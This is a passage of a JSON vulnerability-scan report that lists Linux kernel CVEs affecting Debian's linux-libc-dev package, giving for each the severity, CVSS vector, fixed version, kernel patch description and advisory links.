"https://git.kernel.org/stable/c/587a0accc2b4fccc5cf7baf0fe34e50efde51f9c", "https://git.kernel.org/stable/c/62e1c2741a4d923d9854efd5927a6212aad7a187", "https://git.kernel.org/stable/c/9c5fdffc5e1ce84403c58289ee72697051803bf7", "https://git.kernel.org/stable/c/ac1bb7fd45088d0db57a22ce7729f258ebd63cf5", "https://git.kernel.org/stable/c/dd9623f58ec702a07b2d67179d6fcea79c52231a", "https://git.kernel.org/stable/c/f3e54f6a5e1681f83d13e8716bc92ef5ecf121d3", "https://linux.oracle.com/cve/CVE-2026-74518.html", "https://linux.oracle.com/errata/ELSA-2026-70498.html", "https://lore.kernel.org/linux-cve-announce/2026081544-CVE-2026-74518-1152@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-74518", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-74518" ], "PublishedDate": "2026-08-15T13:17:56.967Z", "LastModifiedDate": "2026-10-16T20:17:34.45Z" }, { "VulnerabilityID": "CVE-2026-74520", "VendorIDs": [ "DSA-6602-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.115-2", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-74520", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:53db57ece61af098ed9fa0d736f9b69d95aea7c444763fd6fd1b6102fbd01de7", "Title": "kernel: iommu/iommufd: Fix IOPF group ownership UAF", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\niommu/iommufd: Fix IOPF group ownership UAF\n\niopf_group_alloc() links each last-page IOPF group into the generic IOPF\npending list before invoking the domain fault handler.\niommufd_fault_iopf_handler() also queued an accepted group in the\nIOMMUFD deliver list without removing it from the generic pending list.\n\nWhen detach or HWPT replacement drops the device's IOPF reference count\nto zero, an IOMMU driver may call iopf_queue_remove_device(). That\nfunction responds to and frees groups through the generic pending list\nwithout removing the same groups from IOMMUFD's deliver list or response\nxarray. A later read, response, or cleanup can then access the freed\ngroup and cause a UAF.\n\nFix this by dequeuing an accepted group from the generic pending list\nbefore IOMMUFD queues it for userspace response.\nMake iopf_group_response() send a response regardless of pending-list\nmembership, so the dequeued group can still be completed by IOMMUFD.", "Severity": "HIGH", "VendorSeverity": { "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-74520", "https://git.kernel.org/linus/738e6f32e61d80b554e37015ecb7bc620b88001c%20%287.2-rc6%29", "https://git.kernel.org/stable/c/4e74a369236424114b94cf6a9f5ff9e848b430b4", "https://git.kernel.org/stable/c/6da8f37419dd4c456f26fc203f04e000186f4b3d", "https://git.kernel.org/stable/c/738e6f32e61d80b554e37015ecb7bc620b88001c", "https://git.kernel.org/stable/c/8563099bc4b03e1894a983a394225d69b05d9277", "https://lore.kernel.org/linux-cve-announce/2026081544-CVE-2026-74520-7811@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-74520", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://www.cve.org/CVERecord?id=CVE-2026-74520" ], "PublishedDate": "2026-08-15T13:17:57.21Z", "LastModifiedDate": "2026-10-21T13:19:45.293Z" }, { "VulnerabilityID": "CVE-2026-74556", "VendorIDs": [ "DSA-6466-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.105-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-74556", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:1e58a8cfe7042064f54510a63249f5fdd88c8fae9038f4f56067f3b8d1c85d0a", "Title": "kernel: scsi: libiscsi_tcp: Bound SCSI Response data segment to the connection buffer", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nscsi: libiscsi_tcp: Bound SCSI Response data segment to the connection buffer\n\niscsi_tcp_hdr_dissect() receives the data segment of several PDU types\ninto the fixed-size conn-\u003edata buffer, which is allocated for\nISCSI_DEF_MAX_RECV_SEG_LEN (8192) bytes. For the LOGIN_RSP, TEXT_RSP,\nREJECT and ASYNC_EVENT opcodes the dissect path already rejects a PDU\nwhose DataSegmentLength exceeds that buffer.\n\nThe SCSI Command Response (ISCSI_OP_SCSI_CMD_RSP) path also copies its\ndata segment (sense/response data) into conn-\u003edata via\niscsi_tcp_data_recv_prep(), but it does so without the same check. The\nonly upstream bound on in.datalen is conn-\u003emax_recv_dlength, the\ninitiator's advertised MaxRecvDataSegmentLength, which is commonly\nnegotiated well above 8192 (open-iscsi defaults to 262144). A target\nthat returns a SCSI Response with a DataSegmentLength between 8193 and\nmax_recv_dlength therefore overflows the 8192-byte conn-\u003edata buffer.\n\nOnce the same bound applies, ISCSI_OP_SCSI_CMD_RSP is handled exactly\nlike those responses: bound the data segment, receive it into conn-\u003edata\nwhen present, and otherwise complete the PDU with no data. Fold the\nopcode into that case group rather than duplicating the check.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.2 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:67470", "https://access.redhat.com/security/cve/CVE-2026-74556", "https://bugzilla.redhat.com/2467084", "https://bugzilla.redhat.com/2502380", "https://bugzilla.redhat.com/2502418", "https://bugzilla.redhat.com/2513218", "https://bugzilla.redhat.com/2513353", "https://bugzilla.redhat.com/2516639", "https://bugzilla.redhat.com/2517010", "https://bugzilla.redhat.com/show_bug.cgi?id=2467084", "https://bugzilla.redhat.com/show_bug.cgi?id=2502380", "https://bugzilla.redhat.com/show_bug.cgi?id=2502418", "https://bugzilla.redhat.com/show_bug.cgi?id=2513218", "https://bugzilla.redhat.com/show_bug.cgi?id=2513353", "https://bugzilla.redhat.com/show_bug.cgi?id=2516639", "https://bugzilla.redhat.com/show_bug.cgi?id=2517010", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43248", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63923", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64015", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68143", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68294", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72045", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74556", "https://errata.almalinux.org/9/ALSA-2026-67470.html", "https://errata.rockylinux.org/RLSA-2026:67470", "https://git.kernel.org/linus/c1dea15f819cded9b3faf58f8bec72323568b6e6%20%287.2-rc6%29", "https://git.kernel.org/stable/c/084af0253673425ce2ae62e3c7f74f0dd023711b", "https://git.kernel.org/stable/c/72815741715bd41556dac5eeb068bf0f8af06ee7", "https://git.kernel.org/stable/c/a51812842084fd390590ab8dc0431f10c73ddc56", "https://git.kernel.org/stable/c/a8f94cc9f0e5759252551be3a172960c57f21f54", "https://git.kernel.org/stable/c/b0aa3e8e2ab4ca92adb28a3ef41873b3363b8676", "https://git.kernel.org/stable/c/c1dea15f819cded9b3faf58f8bec72323568b6e6", "https://git.kernel.org/stable/c/c97b5265cc47775f77fd2a23d6bde0426997b233", "https://git.kernel.org/stable/c/f1a3a51fc5dba0e99532379665069f1700da6b44", "https://linux.oracle.com/cve/CVE-2026-74556.html", "https://linux.oracle.com/errata/ELSA-2026-67471-0.html", "https://lore.kernel.org/linux-cve-announce/2026081551-CVE-2026-74556-3eb4@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-74556", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-74556" ], "PublishedDate": "2026-08-15T13:18:01.047Z", "LastModifiedDate": "2026-10-16T20:17:37.307Z" }, { "VulnerabilityID": "CVE-2026-74569", "VendorIDs": [ "DSA-6466-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.105-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-74569", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:722411ceb93de7a2d328fbe52a92d4080a79e596a2c8fca8d51a9a86168188cc", "Title": "kernel: netfilter: nf_conntrack_sip: widen NAT rewrite delta to s32 in sip_help_tcp()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: nf_conntrack_sip: widen NAT rewrite delta to s32 in sip_help_tcp()\n\nsip_help_tcp() stores the size change of each NAT-rewritten SIP message\nin s16 diff and accumulates it in s16 tdiff, but a single message can\ngrow by more than S16_MAX while the packet stays under the 65535\nenlarge_skb() limit: nf_nat_sip() rewrites every matching URI, and a long\nContact list expands the message by tens of kilobytes. diff then wraps,\nand \"datalen = datalen + diff - msglen\" yields a huge unsigned datalen,\nso the next iteration's ct_sip_get_header() reads past the linearized skb\ntail.\n\nWiden diff, tdiff and the seq_adjust hook to s32. Both are bounded by the\n65535 byte packet limit, and the seqadj core is already s32\n(nf_ct_seqadj_set() takes s32), so no previously accepted input is\nrejected.\n\n BUG: KASAN: use-after-free in ct_sip_get_header (net/netfilter/nf_conntrack_sip.c:464)\n Read of size 1 at addr ffff888010800000 by task ksoftirqd/1/25\n ct_sip_get_header (net/netfilter/nf_conntrack_sip.c:464)\n sip_help_tcp (net/netfilter/nf_conntrack_sip.c:1694)\n nf_confirm (net/netfilter/nf_conntrack_proto.c:183)\n nf_hook_slow (net/netfilter/core.c:619)\n ip6_output (net/ipv6/ip6_output.c:246)\n ip6_forward (net/ipv6/ip6_output.c:690)\n ipv6_rcv (net/ipv6/ip6_input.c:351)\n __netif_receive_skb_one_core (net/core/dev.c:6212)\n process_backlog (net/core/dev.c:6676)\n __napi_poll (net/core/dev.c:7735)\n net_rx_action (net/core/dev.c:7955)\n handle_softirqs (kernel/softirq.c:622)\n run_ksoftirqd (kernel/softirq.c:1076)\n ...", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:75747", "https://access.redhat.com/security/cve/CVE-2026-74569", "https://bugzilla.redhat.com/2404123", "https://bugzilla.redhat.com/2418819", "https://bugzilla.redhat.com/2425013", "https://bugzilla.redhat.com/2425209", "https://bugzilla.redhat.com/2436789", "https://bugzilla.redhat.com/2482129", "https://bugzilla.redhat.com/2482143", "https://bugzilla.redhat.com/2486979", "https://bugzilla.redhat.com/2492276", "https://bugzilla.redhat.com/2492364", "https://bugzilla.redhat.com/2492728", "https://bugzilla.redhat.com/2492853", "https://bugzilla.redhat.com/2502230", "https://bugzilla.redhat.com/2502241", "https://bugzilla.redhat.com/2502431", "https://bugzilla.redhat.com/2502444", "https://bugzilla.redhat.com/2514441", "https://bugzilla.redhat.com/2516306", "https://bugzilla.redhat.com/2516717", "https://bugzilla.redhat.com/2516998", "https://bugzilla.redhat.com/2517052", "https://bugzilla.redhat.com/2521375", "https://bugzilla.redhat.com/2524431", "https://bugzilla.redhat.com/2524483", "https://bugzilla.redhat.com/2531066", "https://bugzilla.redhat.com/2532184", "https://bugzilla.redhat.com/2535140", "https://bugzilla.redhat.com/2536346", "https://bugzilla.redhat.com/2540479", "https://bugzilla.redhat.com/show_bug.cgi?id=2404123", "https://bugzilla.redhat.com/show_bug.cgi?id=2418819", "https://bugzilla.redhat.com/show_bug.cgi?id=2425013", "https://bugzilla.redhat.com/show_bug.cgi?id=2425209", "https://bugzilla.redhat.com/show_bug.cgi?id=2436789", "https://bugzilla.redhat.com/show_bug.cgi?id=2482129", "https://bugzilla.redhat.com/show_bug.cgi?id=2482143", "https://bugzilla.redhat.com/show_bug.cgi?id=2486979", "https://bugzilla.redhat.com/show_bug.cgi?id=2492276", "https://bugzilla.redhat.com/show_bug.cgi?id=2492364", "https://bugzilla.redhat.com/show_bug.cgi?id=2492728", "https://bugzilla.redhat.com/show_bug.cgi?id=2492853", "https://bugzilla.redhat.com/show_bug.cgi?id=2502230", "https://bugzilla.redhat.com/show_bug.cgi?id=2502241", "https://bugzilla.redhat.com/show_bug.cgi?id=2502431", "https://bugzilla.redhat.com/show_bug.cgi?id=2502444", "https://bugzilla.redhat.com/show_bug.cgi?id=2514441", "https://bugzilla.redhat.com/show_bug.cgi?id=2516306", "https://bugzilla.redhat.com/show_bug.cgi?id=2516717", "https://bugzilla.redhat.com/show_bug.cgi?id=2516998", "https://bugzilla.redhat.com/show_bug.cgi?id=2517052", "https://bugzilla.redhat.com/show_bug.cgi?id=2521375", "https://bugzilla.redhat.com/show_bug.cgi?id=2524431", "https://bugzilla.redhat.com/show_bug.cgi?id=2524483", "https://bugzilla.redhat.com/show_bug.cgi?id=2531066", "https://bugzilla.redhat.com/show_bug.cgi?id=2532184", "https://bugzilla.redhat.com/show_bug.cgi?id=2535140", "https://bugzilla.redhat.com/show_bug.cgi?id=2536346", "https://bugzilla.redhat.com/show_bug.cgi?id=2540479", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-50756", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-54048", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-39994", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-40242", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23105", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45856", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45861", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46319", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52972", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53049", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53230", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53270", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63794", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63829", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63992", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63994", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68432", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72052", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72255", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74516", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74569", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74744", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74746", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80921", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89481", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89972", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-90227", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-97417", "https://errata.almalinux.org/8/ALSA-2026-75747.html", "https://errata.rockylinux.org/RLSA-2026:75747", "https://git.kernel.org/linus/db3d0e0e5d4bc5ab4fe445b9f413d1b486508ca5%20%287.2-rc6%29", "https://git.kernel.org/stable/c/1b0843f9e9b9b0b9b4b70d143b67e58163c85b2c", "https://git.kernel.org/stable/c/32d4abc8923b0d4046fd63ad6e4917872e44eb6d", "https://git.kernel.org/stable/c/63eea41759fd682229c14e0a2205802b46d106f3", "https://git.kernel.org/stable/c/c97621a110e386b2dd69e276eb699e1d3cec581d", "https://git.kernel.org/stable/c/db3d0e0e5d4bc5ab4fe445b9f413d1b486508ca5", "https://git.kernel.org/stable/c/ed1f9be6dc8e2e280b8725e44ccdc6e0cd38640d", "https://git.kernel.org/stable/c/ef5e2c6555d2bb52dfe0e4053a8c6193f9d83b64", "https://git.kernel.org/stable/c/f74554e67ccf04d1fa71069e8c9afa2717e40716", "https://linux.oracle.com/cve/CVE-2026-74569.html", "https://linux.oracle.com/errata/ELSA-2026-76739.html", "https://lore.kernel.org/linux-cve-announce/2026081554-CVE-2026-74569-45bc@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-74569", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-74569" ], "PublishedDate": "2026-08-15T13:18:02.517Z", "LastModifiedDate": "2026-10-16T20:17:38.47Z" }, { "VulnerabilityID": "CVE-2026-74580", "VendorIDs": [ "DSA-6466-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.105-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-74580", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:e11c4873a300b9b6a0cb362e0655e3e4c588d98f352f2622509009bce5eb38b1", "Title": "kernel: vhost: reset the vring metadata cache on vring reconfiguration", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nvhost: reset the vring metadata cache on vring reconfiguration\n\nvq-\u003emeta_iotlb[] caches the vhost_iotlb_map that backs each vring\nmetadata region, and iotlb_access_ok() returns early on a cache hit,\ntaking the hit as proof that the region has already been validated:\n\n\tif (vhost_vq_meta_fetch(vq, addr, len, type))\n\t\treturn true;\n\nThe cache is reset on VHOST_IOTLB_UPDATE and VHOST_IOTLB_INVALIDATE, on\ndevice IOTLB (re)initialisation and on vq reset, but not when\nVHOST_SET_VRING_ADDR replaces vq-\u003edesc, vq-\u003eavail and vq-\u003eused, nor when\nVHOST_SET_VRING_NUM changes the region sizes.\n\nWith a device IOTLB attached both ioctls are accepted while the vq is\nlive, and neither validates the addresses at ioctl time: vq_access_ok()\nand vq_log_used_access_ok() return true early because the addresses are\nGIOVAs, deferring validation to prefetch time. Once the cache has been\npopulated that deferred validation no longer runs -- vq_meta_prefetch()\nhits the stale entry and returns true -- and vhost_vq_meta_fetch() keeps\ntranslating through the old mapping as\n\n\tmap-\u003eaddr + addr - map-\u003estart\n\nfor an address the mapping no longer covers. vhost_copy_to_user() and\nvhost_copy_from_user() consume the result with __copy_to_user() and\n__copy_from_user(), which do not check it either, so a subsequent used\nring update or descriptor fetch accesses memory outside the region the\nIOTLB actually maps.\n\nReset the metadata cache whenever the vring is reconfigured, so the new\naddresses are pushed back through iotlb_access_ok()'s slow path.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:H", "V3Score": 8.7 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/10/14/2", "https://access.redhat.com/errata/RHSA-2026:57252", "https://access.redhat.com/security/cve/CVE-2026-74580", "https://bugzilla.redhat.com/2467135", "https://bugzilla.redhat.com/2467156", "https://bugzilla.redhat.com/2467202", "https://bugzilla.redhat.com/2482113", "https://bugzilla.redhat.com/2482124", "https://bugzilla.redhat.com/2482614", "https://bugzilla.redhat.com/2492403", "https://bugzilla.redhat.com/2492719", "https://bugzilla.redhat.com/2492768", "https://bugzilla.redhat.com/2492788", "https://bugzilla.redhat.com/2495941", "https://bugzilla.redhat.com/2495950", "https://bugzilla.redhat.com/2502188", "https://bugzilla.redhat.com/2502321", "https://bugzilla.redhat.com/2502361", "https://bugzilla.redhat.com/2502422", "https://bugzilla.redhat.com/2502443", "https://bugzilla.redhat.com/2502463", "https://bugzilla.redhat.com/2502589", "https://bugzilla.redhat.com/2506790", "https://bugzilla.redhat.com/2507042", "https://bugzilla.redhat.com/2507135", "https://bugzilla.redhat.com/2507216", "https://bugzilla.redhat.com/2508504", "https://bugzilla.redhat.com/2513373", "https://bugzilla.redhat.com/2513470", "https://errata.almalinux.org/9/ALSA-2026-57252.html", "https://git.kernel.org/stable/c/13fa6f32a56a386a82bd7451644c494beed034af", "https://git.kernel.org/stable/c/5224bd37e37d36076a550d99b2aebba33939fd95", "https://git.kernel.org/stable/c/54617e9119be2eb728ecdd8d977b99c99d4c498a", "https://git.kernel.org/stable/c/6fa3e9b1fe856259555a7e22f3f3082e7827fd9b", "https://git.kernel.org/stable/c/b70ebe0bba254e093dd5fd4c0c170941ce83eb85", "https://git.kernel.org/stable/c/cf363a7a02ce132ef1f58084fdb13e1a3b7da7e7", "https://git.kernel.org/stable/c/de845981da67a6b049080c87e605130b0c30adc5", "https://git.kernel.org/stable/c/f1e21108e3ddfcce62f6cad4ebd7b5674543c9e6", "https://github.com/YounesHfa/CVE-2026-74580", "https://linux.oracle.com/cve/CVE-2026-74580.html", "https://linux.oracle.com/errata/ELSA-2026-500573.html", "https://lore.kernel.org/linux-cve-announce/2026082158-CVE-2026-74580-5db9@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-74580", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-74580" ], "PublishedDate": "2026-08-21T17:16:44.21Z", "LastModifiedDate": "2026-10-29T04:18:40.513Z" }, { "VulnerabilityID": "CVE-2026-74581", "VendorIDs": [ "DSA-6466-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.105-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-74581", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:6bf53f569b0115da53000f659eb3bfef48082bdb94b4ccddb88a43d5799fa771", "Title": "kernel: net: ipv6: use-after-free in fib6_rule_suppress due to stale res-\u003ert6 pointer", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: ipv6: clear suppressed fib6 rule result\n\nfib6_rule_suppress() drops a suppressed route with ip6_rt_put_flags(),\nbut leaves res-\u003ert6 pointing at the released rt6_info.\n\nIf no later rule supplies a replacement, fib6_rule_lookup() still sees\nres.rt6 and returns that stale dst to its caller. A suppressing rule can\ntherefore leak a released route back to rt6_lookup(), and the next put\nhits rcuref_put_slowpath() from dst_release().\n\nClear res-\u003ert6 when suppressing the route so suppressed lookups fall\nthrough to the null dst instead of reusing the released one.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:59723", "https://access.redhat.com/security/cve/CVE-2026-74581", "https://bugzilla.redhat.com/2422696", "https://bugzilla.redhat.com/2432681", "https://bugzilla.redhat.com/2466994", "https://bugzilla.redhat.com/2492095", "https://bugzilla.redhat.com/2492112", "https://bugzilla.redhat.com/2492735", "https://bugzilla.redhat.com/2492747", "https://bugzilla.redhat.com/2492770", "https://bugzilla.redhat.com/2502872", "https://bugzilla.redhat.com/2502889", "https://bugzilla.redhat.com/2507290", "https://bugzilla.redhat.com/2507301", "https://bugzilla.redhat.com/2520980", "https://bugzilla.redhat.com/show_bug.cgi?id=2422696", "https://bugzilla.redhat.com/show_bug.cgi?id=2432681", "https://bugzilla.redhat.com/show_bug.cgi?id=2466994", "https://bugzilla.redhat.com/show_bug.cgi?id=2492095", "https://bugzilla.redhat.com/show_bug.cgi?id=2492112", "https://bugzilla.redhat.com/show_bug.cgi?id=2492735", "https://bugzilla.redhat.com/show_bug.cgi?id=2492747", "https://bugzilla.redhat.com/show_bug.cgi?id=2492770", "https://bugzilla.redhat.com/show_bug.cgi?id=2502872", "https://bugzilla.redhat.com/show_bug.cgi?id=2502889", "https://bugzilla.redhat.com/show_bug.cgi?id=2507290", "https://bugzilla.redhat.com/show_bug.cgi?id=2507301", "https://bugzilla.redhat.com/show_bug.cgi?id=2520980", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-68211", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23003", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43114", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52920", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52924", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53131", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53185", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53268", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64189", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64191", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64276", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64277", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74581", "https://errata.almalinux.org/9/ALSA-2026-59723.html", "https://errata.rockylinux.org/RLSA-2026:59723", "https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=6aea62e433fe1b586202a5fee8b5807ce635e1d7", "https://git.kernel.org/stable/c/354db6243eca59e9d187ffbf8b7955b044ce84dc", 